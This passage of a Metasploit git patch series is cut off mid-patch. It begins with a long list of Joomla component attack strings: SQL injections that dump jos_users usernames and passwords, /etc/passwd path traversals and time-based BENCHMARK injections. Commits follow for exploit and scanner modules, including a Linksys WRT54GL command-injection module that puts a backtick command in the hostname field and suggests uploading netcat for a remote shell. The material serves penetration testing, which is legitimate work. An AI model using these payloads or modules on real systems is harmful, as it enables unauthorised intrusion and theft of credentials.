-index.php?option=com_commedia&format=raw&task=image&pid=4&id=964' -index.php?option=com_commedia&task=page&commpid=21 -index.php?option=com_connect&view=connect&controller= -index.php?option=com_content&view=article&id=[A VALID ID]&Itemid=[A VALID ID]&sflaction=dir&sflDir=../../../ -index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_dioneformwizard&controller=[LFI]%00 -index.php?option=com_discussions&view=thread&catid=[Correct CatID]&thread=-1 -index.php?option=com_dshop&controller=fpage&task=flypage&idofitem=12 -index.php?option=com_easyfaq&Itemid=1&task=view&gid= -index.php?option=com_easyfaq&catid=1&task=view&id=-2527+ -index.php?option=com_easyfaq&task=view&contact_id= -index.php?option=com_elite_experts&task=showExpertProfileDetailed&getExpertsFromCountry=&language=ru&id= -index.php?option=com_equipment&task=components&id=45&sec_men_id= -index.php?option=com_equipment&view=details&id= -index.php?option=com_estateagent&Itemid=47&act=object&task=showEO&id=[sqli] -index.php?option=com_etree&view=displays&layout=category&id=[SQL] -index.php?option=com_etree&view=displays&layout=user&user_id=[SQL] -index.php?option=com_ezautos&Itemid=49&id=1&task=helpers&firstCode=1 -index.php?option=com_fabrik&view=table&tableid=13+union+select+1---- -index.php?option=com_filecabinet&task=download&cid[]=7 -index.php?option=com_firmy&task=section_show_set&Id=-1 -index.php?option=com_fss&view=test&prodid=777777.7'+union+all+select+77777777777777%2C77777777777777%2C77777777777777%2Cversion()%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777%2C77777777777777--+D4NB4R -index.php?option=com_golfcourseguide&view=golfcourses&cid=1&id= -index.php?option=com_graphics&controller= -index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0&data_search= -index.php?option=com_grid&gid=15_ok_0',%20'15_ok_0?data_search=&rpp= -index.php?option=com_huruhelpdesk&view=detail -index.php?option=com_huruhelpdesk&view=detail&cid[0]= -index.php?option=com_huruhelpdesk&view=detail&cid[0]=-1 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=1 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id=1 and 1=2 -index.php?option=com_icagenda&view=list&layout=event&Itemid=520&id[]=1 -index.php?option=com_iproperty&view=agentproperties&id= -index.php?option=com_jacomment&view= -index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00 -index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00 -index.php?option=com_jcommunity&controller=members&task=1' -index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13 -index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2 -index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2 -index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00 -index.php?option=com_jeguestbook&view=item_detail&d_itemid=-1 OR (SELECT(IF(0x41=0x41, BENCHMARK(999999999,NULL),NULL))) -index.php?option=com_jfuploader&Itemid= -index.php?option=com_jgen&task=view&id= -index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00 -index.php?option=com_jimtawl&Itemid=12&task= -index.php?option=com_jmarket&controller=product&task=1' -index.php?option=com_jobprofile&Itemid=61&task=profilesview&id=1' -index.php?option=com_jomdirectory&task=search&type=111+ -index.php?option=com_joomdle&view=detail&cat_id=1&course_id= -index.php?option=com_joomla_flash_uploader&Itemid=1 -index.php?option=com_joomleague&func=showNextMatch&p=[sqli] -index.php?option=com_joomleague&view=resultsmatrix&p=4&Itemid=[sqli] -index.php?option=com_joomtouch&controller= -index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00 -index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00 -index.php?option=com_jscalendar&view=jscalendar&task=details&ev_id=999 UNION SELECT 1,username,password,4,5,6,7,8 FROM jos_users -index.php?option=com_jstore&controller=product-display&task=1' -index.php?option=com_jsubscription&controller=subscription&task=1' -index.php?option=com_jtickets&controller=ticket&task=1' -index.php?option=com_konsultasi&act=detail&sid= -index.php?option=com_ksadvertiser&Itemid=36&task=add&catid=0&lang=en -index.php?option=com_kunena&func=userlist&search= -index.php?option=com_lead&task=display&archive=1&Itemid=65&leadstatus=1' -index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_markt&page=show_category&catid=7+union+select+0,1,password,3,4,5,username,7,8+from+jos_users-- -index.php?option=com_matamko&controller= -index.php?option=com_myhome&task=4&nidimmindex.php?option=com_myhome&task=4&nidimm -index.php?option=com_neorecruit&task=offer_view&id= -index.php?option=com_newsfeeds&view=categories&feedid=-1%20union%20select%201,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30%20from%20jos_users-- -index.php?option=com_noticeboard&controller= -index.php?option=com_obsuggest&controller= -index.php?option=com_ongallery&task=ft&id=-1+order+by+1-- -index.php?option=com_ongallery&task=ft&id=-1+union+select+1-- -index.php?option=com_oziogallery&Itemid= -index.php?option=com_page&id=53 -index.php?option=com_pbbooking&task=validate&id=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(999999999,NULL),NULL))) -index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00 -index.php?option=com_peliculas&view=peliculas&id=null[Sql Injection] -index.php?option=com_phocagallery&view=categories&Itemid= -index.php?option=com_photomapgallery&view=imagehandler&folder=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_php&file=../../../../../../../../../../etc/passwd -index.php?option=com_php&file=../images/phplogo.jpg -index.php?option=com_php&file=../js/ie_pngfix.js -index.php?option=com_ponygallery&Itemid=[sqli] -index.php?option=com_products&catid=-1 -index.php?option=com_products&id=-1 -index.php?option=com_products&product_id=-1 -index.php?option=com_products&task=category&catid=-1 -index.php?option=com_properties&task=agentlisting&aid= -index.php?option=com_qcontacts&Itemid=1' -index.php?option=com_qcontacts?=catid=0&filter_order=[SQLi]&filter_order_Dir=&option=com_qcontacts -index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_restaurantguide&view=country&id='&Itemid=69 -index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' -index.php?option=com_seyret&view= -index.php?option=com_simpleshop&Itemid=26&task=viewprod&id=-999.9 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,concat(username,0x3e,password,0x3e,usertype,0x3e,lastvisitdate)+from+jos_users-- -index.php?option=com_smartsite&controller= -index.php?option=com_spa&view=spa_product&cid= -index.php?option=com_spidercalendar -index.php?option=com_spidercalendar&date=1' -index.php?option=com_spielothek&task=savebattle&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_spielothek&view=battle&wtbattle=ddbdelete&dbtable=vS&loeschen[0]=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_spielothek&view=battle&wtbattle=play&bid=-1 OR (SELECT(IF(0x41=0x41,BENCHMARK(9999999999,NULL),NULL))) -index.php?option=com_staticxt&staticfile=test.php&id=1923 -index.php?option=com_szallasok&mode=8&id=25 (SQL) -index.php?option=com_tag&task=tag&tag= -index.php?option=com_timereturns&view=timereturns&id=7+union+all+select+concat_ws(0x3a,username,password),2,3,4,5,6+from+jos_users-- -index.php?option=com_timetrack&view=timetrack&ct_id=-1 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,CONCAT(username,0x3A,password) FROM jos_users -index.php?option=com_ultimateportfolio&controller= -index.php?option=com_users&view=registration -index.php?option=com_virtuemart&page=account.index&keyword=[sqli] -index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00 -index.php?option=com_x-shop&action=artdetail&idd=' -index.php?option=com_x-shop&action=artdetail&idd='[SQLi] -index.php?option=com_xcomp&controller=../../[LFI]%00 -index.php?option=com_xvs&controller=../../[LFI]%00 -index.php?option=com_yellowpages&cat=-1923+UNION+SELECT 1,concat_ws(0x3a,username,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37+from+jos_users--+Union+select+user()+from+jos_users-- -index.php?option=com_yjcontactus&view= -index.php?option=com_youtube&id_cate=4 -index.php?option=com_zina&view=zina&Itemid=9 -index.php?option=com_zoomportfolio&view=portfolio&view=portfolio&id= -index.php?search=NoGe&option=com_esearch&searchId= -index.php?view=videos&type=member&user_id=-62+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat(username,0x3a,password),14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube -index2.php?option=com_joomradio&page=show_video&id=-13+union+select+1,group_concat(username,0x3a,password),3,4,5,6,7+from+jos_users-- -js/index.php?option=com_socialads&view=showad&Itemid=94 -libraries/joomla/utilities/compat/php50x.php -libraries/pcl/pcltar.php -libraries/phpmailer/phpmailer.php -libraries/phpxmlrpc/xmlrpcs.php -modules/mod_artuploader/upload.php"); -modules/mod_as_category.php -modules/mod_calendar.php -modules/mod_ccnewsletter/helper/popup.php?id=[SQLi] -modules/mod_dionefileuploader/upload.php?module_dir=./&module_max=2097152&file_type=application/octet-stream"); -modules/mod_jfancy/script.php"); -modules/mod_ppc_simple_spotlight/elements/upload_file.php -modules/mod_ppc_simple_spotlight/img/ -modules/mod_pxt/ -modules/mod_quick_question.php -modules/mod_visitorsgooglemap/map_data.php?action=listpoints&lastMarkerID=0 -patch/makedown.php?arquivo=../../../../etc/passwd -plugins/content/efup_files/helper.php"); -plugins/editors/idoeditor/themes/advanced/php/image.php" method="post" enctype="multipart/form-data"> -plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/ -plugins/editors/xstandard/attachmentlibrary.php -print.php?task=person&id=36 and 1=1 -templates/be2004-2/ -templates/ja_purity/ -wap/wapmain.php?option=onews&action=link&id=-154+union+select+1,2,3,concat(username,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28+from+jos_users+limit+0,1-- -web/index.php?option=com_rokmodule&tmpl=component&type=raw&module=1' \ No newline at end of file diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 7b497d1846..798496cb74 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - + apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort From 6cdb1a80de61b46853401ef971d7bd470c52ad81 Mon Sep 17 00:00:00 2001 From: f8lerror <f8lerror+git@gmail.com> Date: Thu, 24 Jan 2013 09:47:20 -0500 Subject: [PATCH 62/87] Remove app from fingerprint and blank line --- modules/auxiliary/scanner/http/joomla_vulnscan.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_vulnscan.rb b/modules/auxiliary/scanner/http/joomla_vulnscan.rb index 798496cb74..1c465719f1 100755 --- a/modules/auxiliary/scanner/http/joomla_vulnscan.rb +++ b/modules/auxiliary/scanner/http/joomla_vulnscan.rb @@ -52,7 +52,7 @@ class Metasploit3 < Msf::Auxiliary return os end - def fingerprint(response, app) + def fingerprint(response) if(response.body =~ /<version.*\/?>(.+)<\/version\/?>/i) v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" @@ -101,7 +101,6 @@ class Metasploit3 < Msf::Auxiliary 'language/en-GB/en-GB.ini','htaccess.txt', 'language/en-GB/en-GB.com_media.ini'] iapps = ['robots.txt','administrator/index.php','admin/','index.php/using-joomla/extensions/components/users-component/registration-form', 'index.php/component/users/?view=registration','htaccess.txt'] - apps.each do |app| app_status = check_app(tpath, app, ip) return if app_status == :abort @@ -137,7 +136,7 @@ class Metasploit3 < Msf::Auxiliary res.body.gsub!(/[\r|\n]/, ' ') os = osfingerprint(res) if (res.code == 200) - out = fingerprint(res,app) + out = fingerprint(res) return if not out if(out =~ /Unknown Joomla/) print_error("#{peer} - Unable to identify Joomla Version with this file #{app}") From 2cedcad810a168f08a12bce2c73717d3547c47f0 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Thu, 24 Jan 2013 10:46:23 -0600 Subject: [PATCH 63/87] Check PID --- .../exploits/windows/local/payload_inject.rb | 25 ++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index cc4efe8182..38eab33c68 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -65,7 +65,7 @@ class Metasploit3 < Msf::Exploit::Local # Figures out which PID to inject to def get_pid pid = datastore['PID'] - if pid == 0 or datastore['NEWPROCESS'] + if pid == 0 or datastore['NEWPROCESS'] or not has_pid?(pid) print_status("Launching notepad.exe...") pid = create_temp_proc end @@ -73,6 +73,29 @@ class Metasploit3 < Msf::Exploit::Local return pid end + + # Determines if a PID actually exists + def has_pid?(pid) + procs = [] + begin + procs = client.sys.process.processes + rescue Rex::Post::Meterpreter::RequestError + print_error("Unable to enumerate processes") + return false + end + + pids = [] + + procs.each do |p| + found_pid = p['pid'] + return true if found_pid == pid + end + + print_error("PID #{pid.to_s} does not actually exist.") + + return false + end + # Checks the Architeture of a Payload and PID are compatible # Returns true if they are false if they are not def arch_check(pid) From 1fc747994e663c7d0dae0e9cec2a74143cb0214f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 24 Jan 2013 17:50:14 +0100 Subject: [PATCH 64/87] cleanup for linksys_wrt54gl_exec --- .../admin/http/linksys_wrt54gl_exec.rb | 225 +++++++++--------- 1 file changed, 118 insertions(+), 107 deletions(-) diff --git a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb index 8f270248e4..ea37ca8e21 100644 --- a/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb +++ b/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb @@ -17,14 +17,14 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ Some Linksys Routers are vulnerable to OS Command injection. You will need credentials to the web interface to access the vulnerable part - of the application. - Default credentials are always a good starting point. admin/admin or admin + of the application. + Default credentials are always a good starting point. admin/admin or admin and blank password could be a first try. - Note: This is a blind os command injection vulnerability. This means that - you will not see any output of your command. Try a ping command to your + Note: This is a blind os command injection vulnerability. This means that + you will not see any output of your command. Try a ping command to your local system for a first test. - - Hint: To get a remote shell you could upload a netcat binary and exec it. + + Hint: To get a remote shell you could upload a netcat binary and exec it. WARNING: Backup your network and dhcp configuration. We will overwrite it! Have phun }, @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary [ 'URL', 'http://www.s3cur1ty.de/attacking-linksys-wrt54gl' ], [ 'EDB', '24202' ], [ 'BID', '57459' ], - [ 'OSVDB', '89421' ], + [ 'OSVDB', '89421' ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 18 2013')) @@ -47,13 +47,13 @@ class Metasploit3 < Msf::Auxiliary Opt::RPORT(80), OptString.new('TARGETURI',[ true, 'PATH to OS Command Injection', '/apply.cgi']), OptString.new('USERNAME',[ true, 'User to login with', 'admin']), - OptString.new('PASSWORD',[ true, 'Password to login with', 'password']), + OptString.new('PASSWORD',[ false, 'Password to login with', 'password']), OptString.new('CMD', [ true, 'The command to execute', 'ping 127.0.0.1']), OptString.new('NETMASK', [ false, 'LAN Netmask of the router', '255.255.255.0']), OptAddress.new('LANIP', [ false, 'LAN IP address of the router - CHANGE THIS', '1.1.1.1']), OptString.new('ROUTER_NAME', [ false, 'Name of the router', 'cisco']), OptString.new('WAN_DOMAIN', [ false, 'WAN Domain Name', 'test']), - OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']), + OptString.new('WAN_MTU', [ false, 'WAN MTU', '1500']) ], self.class) end @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary routername = datastore['ROUTER_NAME'] wandomain = datastore['WAN_DOMAIN'] wanmtu = datastore['WAN_MTU'] - + if datastore['LANIP'] !~ /1.1.1.1/ #there is a configuration from the user so we use LANIP for the router configuration ip = datastore['LANIP'].split('.') @@ -74,9 +74,8 @@ class Metasploit3 < Msf::Auxiliary #no configuration from user so we use RHOST for the router configuration ip = rhost.split('.') end - - # not sure if this is a good way for blank passwords: - if datastore['PASSWORD'] == "<BLANK>" + + if datastore['PASSWORD'].nil? pass = "" else pass = datastore['PASSWORD'] @@ -84,108 +83,120 @@ class Metasploit3 < Msf::Auxiliary print_status("Trying to login with #{user} / #{pass}") - begin - res = send_request_cgi({ - 'uri' => uri, - 'method' => 'GET', - 'basic_auth' => "#{user}:#{pass}" - }) + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'GET', + 'basic_auth' => "#{user}:#{pass}" + }) - unless (res.kind_of? Rex::Proto::Http::Response) - vprint_error("#{rhost} not responding") - end + unless (res.kind_of? Rex::Proto::Http::Response) + vprint_error("#{rhost} not responding") + return :abort + end - return :abort if (res.code == 404) + if (res.code == 404) + print_error("Not Found page returned") + return :abort + end - if [200, 301, 302].include?(res.code) - print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") - else - print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") - return :abort - end + if [200, 301, 302].include?(res.code) + print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'") + else + print_error("NO SUCCESSFUL LOGIN POSSIBLE. '#{user}' : '#{pass}'") + return :abort + end - rescue ::Rex::ConnectionError - vprint_error("#{rhost} - Failed to connect to the web server") - return :abort - end - - print_status("Sending remote command: " + datastore['CMD']) - - # cmd = Rex::Text.uri_encode(datastore['CMD']) - cmd = datastore['CMD'] - - #original Post Request: -# data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" - - if datastore['VERBOSE'] == true - print_line("using the following target URL: \n#{uri}") + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return :abort end - begin - res = send_request_cgi( - { - 'uri' => uri, - 'method' => 'POST', - 'basic_auth' => "#{pass}:#{pass}", - #'data' => data_cmd, + cmd = datastore['CMD'] - 'vars_post' => - { - 'submit_button' => "index", - 'change_action' => "1", - 'submit_type' => "1", - 'action' => "Apply", - 'now_proto' => "dhcp", - 'daylight_time' => "1", - 'lan_ipaddr' => "4", - 'wait_time' => "0", - 'need_reboot' => "0", - 'ui_language' => "de", - 'wan_proto' => "dhcp", - 'router_name' => "#{routername}", - 'wan_hostname' => "`#{cmd}`", - 'wan_domain' => "#{wandomain}", - 'mtu_enable' => "1", - 'wan_mtu' => "#{wanmtu}", - 'lan_ipaddr_0' => "#{ip[0]}", - 'lan_ipaddr_1' => "#{ip[1]}", - 'lan_ipaddr_2' => "#{ip[2]}", - 'lan_ipaddr_3' => "#{ip[3]}", - 'lan_netmask' => "#{netmask}", - 'lan_proto' => "dhcp", - 'dhcp_check' => "1", - 'dhcp_start' => "100", - 'dhcp_num' => "50", - 'dhcp_lease' => "0", - 'wan_dns' => "4", - 'wan_dns0_0' => "0", - 'wan_dns0_1' => "0", - 'wan_dns0_2' => "0", - 'wan_dns0_3' => "0", - 'wan_dns1_0' => "0", - 'wan_dns1_1' => "0", - 'wan_dns1_2' => "0", - 'wan_dns1_3' => "0", - 'wan_dns2_0' => "0", - 'wan_dns2_1' => "0", - 'wan_dns2_2' => "0", - 'wan_dns2_3' => "0", - 'wan_wins' => "4", - 'wan_wins_0' => "0", - 'wan_wins_1' => "0", - 'wan_wins_2' => "0", - 'wan_wins_3' => "0", - 'time_zone' => "-08+1+1", - '_daylight_time' => '1' - }, - }) - rescue ::Rex::ConnectionError - vprint_error("#{rhost} - Failed to connect to the web server") - return :abort - end - print_line("") + print_status("Sending remote command: " + cmd) + + #cmd = Rex::Text.uri_encode(datastore['CMD']) + #original Post Request: + #data_cmd = "submit_button=index&change_action=&submit_type=&action=Apply&now_proto=dhcp&daylight_time=1&" + #data_cmd << "lan_ipaddr=4&wait_time=0&need_reboot=0&ui_language=de&wan_proto=dhcp&router_name=#{routername}&" + #data_cmd << "wan_hostname=`#{cmd}`&wan_domain=#{wandomain}&mtu_enable=1&wan_mtu=#{wanmtu}&lan_ipaddr_0=#{ip[0]}&" + #data_cmd << "lan_ipaddr_1=#{ip[1]}&lan_ipaddr_2=#{ip[2]}&lan_ipaddr_3=#{ip[3]}&lan_netmask=#{netmask}&" + #data_cmd << "lan_proto=dhcp&dhcp_check=&dhcp_start=100&dhcp_num=50&dhcp_lease=0&wan_dns=4&wan_dns0_0=0&" + #data_cmd << "wan_dns0_1=0&wan_dns0_2=0&wan_dns0_3=0&wan_dns1_0=0&wan_dns1_1=0&wan_dns1_2=0&wan_dns1_3=0&" + #data_cmd << "wan_dns2_0=0&wan_dns2_1=0&wan_dns2_2=0&wan_dns2_3=0&wan_wins=4&wan_wins_0=0&wan_wins_1=0&" + #data_cmd << "wan_wins_2=0&wan_wins_3=0&time_zone=-08+1+1&_daylight_time=1" + + vprint_status("using the following target URL: #{uri}") + + begin + res = send_request_cgi({ + 'uri' => uri, + 'method' => 'POST', + 'basic_auth' => "#{pass}:#{pass}", + #'data' => data_cmd, + + 'vars_post' => { + 'submit_button' => "index", + 'change_action' => "1", + 'submit_type' => "1", + 'action' => "Apply", + 'now_proto' => "dhcp", + 'daylight_time' => "1", + 'lan_ipaddr' => "4", + 'wait_time' => "0", + 'need_reboot' => "0", + 'ui_language' => "de", + 'wan_proto' => "dhcp", + 'router_name' => "#{routername}", + 'wan_hostname' => "`#{cmd}`", + 'wan_domain' => "#{wandomain}", + 'mtu_enable' => "1", + 'wan_mtu' => "#{wanmtu}", + 'lan_ipaddr_0' => "#{ip[0]}", + 'lan_ipaddr_1' => "#{ip[1]}", + 'lan_ipaddr_2' => "#{ip[2]}", + 'lan_ipaddr_3' => "#{ip[3]}", + 'lan_netmask' => "#{netmask}", + 'lan_proto' => "dhcp", + 'dhcp_check' => "1", + 'dhcp_start' => "100", + 'dhcp_num' => "50", + 'dhcp_lease' => "0", + 'wan_dns' => "4", + 'wan_dns0_0' => "0", + 'wan_dns0_1' => "0", + 'wan_dns0_2' => "0", + 'wan_dns0_3' => "0", + 'wan_dns1_0' => "0", + 'wan_dns1_1' => "0", + 'wan_dns1_2' => "0", + 'wan_dns1_3' => "0", + 'wan_dns2_0' => "0", + 'wan_dns2_1' => "0", + 'wan_dns2_2' => "0", + 'wan_dns2_3' => "0", + 'wan_wins' => "4", + 'wan_wins_0' => "0", + 'wan_wins_1' => "0", + 'wan_wins_2' => "0", + 'wan_wins_3' => "0", + 'time_zone' => "-08+1+1", + '_daylight_time' => '1' + } + }) + rescue ::Rex::ConnectionError + vprint_error("#{rhost} - Failed to connect to the web server") + return :abort + end + + if res and res.code == 200 + print_status("Blind Exploitation - Response expected") + else + print_error("Blind Exploitation - Response don't expected") + end print_status("Blind Exploitation - wait around 10 seconds until the configuration gets applied and your command gets executed") - print_status("Blind Exploitation - unknown Exploitation state\n") + print_status("Blind Exploitation - unknown Exploitation state") end end From 3faf4b3aca2e87a69c8e24db669e4832e7727261 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 24 Jan 2013 18:13:30 +0100 Subject: [PATCH 65/87] adding sinn3r as author --- modules/exploits/windows/local/payload_inject.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/payload_inject.rb b/modules/exploits/windows/local/payload_inject.rb index 38eab33c68..0e748cb607 100644 --- a/modules/exploits/windows/local/payload_inject.rb +++ b/modules/exploits/windows/local/payload_inject.rb @@ -23,7 +23,8 @@ class Metasploit3 < Msf::Exploit::Local 'License' => MSF_LICENSE, 'Author' => [ - 'Carlos Perez <carlos_perez[at]darkoperator.com>' + 'Carlos Perez <carlos_perez[at]darkoperator.com>', + 'sinn3r' ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], From af3a1db4c16122c1ffad748b637d0f28d0752352 Mon Sep 17 00:00:00 2001 From: sinn3r <msfsinn3r@gmail.com> Date: Thu, 24 Jan 2013 14:16:01 -0600 Subject: [PATCH 66/87] Make better use of ruby regex --- modules/auxiliary/scanner/http/cold_fusion_version.rb | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/modules/auxiliary/scanner/http/cold_fusion_version.rb b/modules/auxiliary/scanner/http/cold_fusion_version.rb index 1f7169e415..64bb92f12a 100644 --- a/modules/auxiliary/scanner/http/cold_fusion_version.rb +++ b/modules/auxiliary/scanner/http/cold_fusion_version.rb @@ -39,8 +39,7 @@ class Metasploit3 < Msf::Auxiliary return nil if response.body.length < 100 title = "Not Found" - response.body.gsub!(/[\r\n]/, '') - if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/i) + if(response.body =~ /<title.*\/?>(.+)<\/title\/?>/im) title = $1 title.gsub!(/\s/, '') end @@ -51,11 +50,11 @@ class Metasploit3 < Msf::Auxiliary if(response.body =~ />\s*Version:\s*(.*)<\/strong\><br\s\//) v = $1 out = (v =~ /^6/) ? "Adobe ColdFusion MX6 #{v}" : "Adobe ColdFusion MX7 #{v}" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ ) + elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright 1995\-2012 Adobe/ and response.body =~ /Administrator requires a browser that supports frames/ ) out = "Adobe ColdFusion MX7" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2006 Adobe/) + elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2006 Adobe/) out = "Adobe ColdFusion 8" - elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995-2010 Adobe/ or + elsif(response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2010 Adobe/ or response.body =~ /<meta name=\"Author\" content=\"Copyright \(c\) 1995\-2009 Adobe Systems\, Inc\. All rights reserved/) out = "Adobe ColdFusion 9" elsif(response.body =~ /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/) @@ -79,7 +78,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'uri' => url, 'method' => 'GET', - }, 10) + }) return if not res or not res.body or not res.code res.body.gsub!(/[\r|\n]/, ' ') From fbbac2bd5161e47041414ebeee046be27a499e34 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Thu, 24 Jan 2013 21:37:04 +0100 Subject: [PATCH 67/87] make module msftidy compliant --- modules/post/multi/manage/sudo.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/modules/post/multi/manage/sudo.rb b/modules/post/multi/manage/sudo.rb index 8b7b2f672f..41155587d1 100644 --- a/modules/post/multi/manage/sudo.rb +++ b/modules/post/multi/manage/sudo.rb @@ -30,9 +30,11 @@ class Metasploit3 < Msf::Post versions from 2008 and later which support -A. }, 'License' => MSF_LICENSE, - 'Author' => [ 'todb <todb[at]metasploit.com>', - 'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option - ], + 'Author' => + [ + 'todb <todb[at]metasploit.com>', + 'Ryan Baxendale <rbaxendale[at]gmail.com>' #added password option + ], 'Platform' => [ 'linux','unix','osx','solaris','aix' ], 'References' => [ @@ -66,7 +68,7 @@ class Metasploit3 < Msf::Post def get_root if datastore['PASSWORD'] password = datastore['PASSWORD'] - else + else password = session.exploit_datastore['PASSWORD'] end From 15253f23bf033156289bbe1d2bf811a01d6fa316 Mon Sep 17 00:00:00 2001 From: Brandon McCann <mccann.brandon@gmail.com> Date: Thu, 24 Jan 2013 15:29:35 -0600 Subject: [PATCH 68/87] added RHOSTS funct --- .../ftp/titanftp_xcrc_traversal.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) rename modules/auxiliary/{admin => scanner}/ftp/titanftp_xcrc_traversal.rb (92%) diff --git a/modules/auxiliary/admin/ftp/titanftp_xcrc_traversal.rb b/modules/auxiliary/scanner/ftp/titanftp_xcrc_traversal.rb similarity index 92% rename from 